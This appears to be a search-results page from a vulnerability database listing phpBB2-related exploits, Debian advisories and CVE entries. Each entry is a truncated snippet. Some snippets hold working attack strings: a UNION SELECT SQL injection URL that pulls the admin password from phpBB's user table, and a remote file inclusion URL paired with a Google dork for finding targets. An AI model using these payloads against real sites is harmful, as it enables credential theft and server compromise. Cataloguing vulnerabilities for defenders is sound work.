124 matches found
phpBB2 Plus 1.53 (Acronym Mod) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ================================================================= phpBB2 Plus 1.53 Acronym Mod Remote SQL Injection Vulnerability ================================================================= Acronym Mod v0.9.5 Remote SQL Injection...
phpBB2 Plus 1.53 - Acronym Mod SQL Injection
phpBB2 Plus 1.53 - Acronym Mod SQL Injection Acronym Mod v0.9.5 Remote SQL Injection Vulnerability Download: http://www.codemonkeyx.net Found By: the master exploit:...
phpBB2 Plus 1.53 - Acronym Mod SQL Injection
Acronym Mod v0.9.5 Remote SQL Injection Vulnerability Download: http://www.codemonkeyx.net Found By: the master exploit: http://Target/Path/admin/adminacronyms.php?mode=edit&id=-1%20UNION%20SELECT%20null,userpassword,null%20FROM%20phpbbusers%20where%20userid=2&sid=AdminHash Greetz: str0ke , Dr Ma...
PHPBB2多个本地文件包含漏洞
PHPBB2是一款基于PHP的论坛程序。 PHPBB2不充分过滤用户提交的URI输入，远程攻击者可以利用漏洞以WEB进程权限查看系统文件内容。 问题是多个脚本对用户提交的WEB参数缺少过滤，提交包含多个"../"字符作为参数数据，可绕过WEB ROOT限制，以WEB进程权限查看系统文件内容。 phpBB2 phpBB2 Plus 2.0.13 + phpBB Group phpBB 2.0.13 + phpBB Group phpBB 2.0.12 http://www.phpbb2.de/...
Debian DSA-925-1 : phpbb2 - several vulnerabilities
Several vulnerabilities have been discovered in phpBB, a fully featured and skinnable flat webforum. The Common Vulnerabilities and Exposures project identifies the following problems : - CVE-2005-3310 Multiple interpretation errors allow remote authenticated users to inject arbitrary web script...
Debian DSA-1066-1 : phpbb2 - missing input sanitising
It was discovered that phpbb2, a web-based bulletin board, does insufficiently sanitise values passed to the 'Font Colour 3' setting, which might lead to the execution of injected code by admin users. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in...
phpBB Import Tools Mod <= 0.1.4 Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================= phpBB Import Tools Mod = 0.1.4 Remote File Include Vulnerability ================================================================= Title: phpBB Import Tools Mod = 0.1.4...
PNphpBB2 <= 1.2g (phpbb_root_path) Remote File Include Vulnerability
No description provided by source. Yeah, another ZeroDay Smile Vendor: http://www.pnphpbb.com/ Vulnerable File: includes/functionsadmin.php Vulnerable Code: //The phpbbrootpath isn't initialize includeonce $phpbbrootpath . 'includes/functions.' . $phpEx ; Method To Use:...
phpBB2 (template.php) Remote File Inclusion
Title: phpBB2 Remote File Include Credit: Canberx Thanx: Forewer-Partizan Mail: [email protected] www.canberx.tk Google Dork: Powered by phpBB © 2001, 2002 phpBB Group Exploit: www.target.com/pathtophpbb/template.php?page=attacker Plz Don't Hacked site if it already has been defaced :...
phpbb2include.txt
Title: phpBB2 Remote File Include Credit: Canberx Thanx: Forewer-Partizan Mail: [email protected] www.canberx.tk Google Dork: Powered by phpBB © 2001, 2002 phpBB Group Exploit: www.target.com/pathtophpbb/template.php?page=attacker Plz Don't Hacked site if it already has been defaced :...
[SECURITY] [DSA 1066-1] New phpbb2 packages fix execution of arbitrary web script code
-------------------------------------------------------------------------- Debian Security Advisory DSA 1066-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff May 20th, 2006 http://www.debian.org/security/faq -...
DSA-1066-1 phpbb2 - missing input sanitising
Bulletin has no description...
Knowledge Base Mod 2.0.2 - phpBB Remote File Inclusion
Knowledge Base Mod 2.0.2 - phpBB Remote File Inclusion Title: Knowledge Base Mod for PHPbb = 2.0.2 remote file inclusion URL: http://www.phpbb2.de/dload.php?action=file&fileid=538 Dork: "Powered by Knowledge Base" Credits: Oo Exploit:...
CVE-2005-3423
Multiple SQL injection vulnerabilities in Subdreamer 2.2.1 allow remote attackers to execute arbitrary SQL commands via 1 the loginusername parameter or 2 cookies to a subdreamer.php, b ipb2.php, c phpbb2.php, d vbulletin2.php, and e vbulletin3.php...
Subdreamer 2.2.1 SQL Injection / Command Execution Exploit
Exploit for unknown platform in category web applications ========================================================== Subdreamer 2.2.1 SQL Injection / Command Execution Exploit ========================================================== !/usr/bin/perl Subdreamer 2.2.1 command exec exploit...
Subdreamer 2.2.1 - SQL Injection / Command Execution
!/usr/bin/perl Subdreamer 2.2.1 command exec exploit @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ supported targets: without forum integration with phpBB2 integration with ipb2 integration with vbulletin2 integration...
Subdreamer 2.2.1 SQL Injection / Command Execution Exploit
No description provided by source. !/usr/bin/perl Subdreamer 2.2.1 command exec exploit @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ supported targets: without forum integration with phpBB2 integration with ipb2 integration with vbulletin2 integration...
Subdreamer 2.2.1 - SQL Injection Command Execution
Subdreamer 2.2.1 - SQL Injection Command Execution !/usr/bin/perl Subdreamer 2.2.1 command exec exploit @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ supported targets: without forum integration with phpBB2 integration with ipb2 integration with vbulletin2...
Debian DSA-768-1 : phpbb2 - missing input validation
A cross-site scripting vulnerability has been detected in phpBB2, a fully featured and skinnable flat webforum software, that allows remote attackers to inject arbitrary web script or HTML via nested tags. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package check...
[SECURITY] [DSA 768-1] New phpbb2 packages fix cross-site scripting
-------------------------------------------------------------------------- Debian Security Advisory DSA 768-1 [email protected] http://www.debian.org/security/ Martin Schulze July 27th, 2005 http://www.debian.org/security/faq -...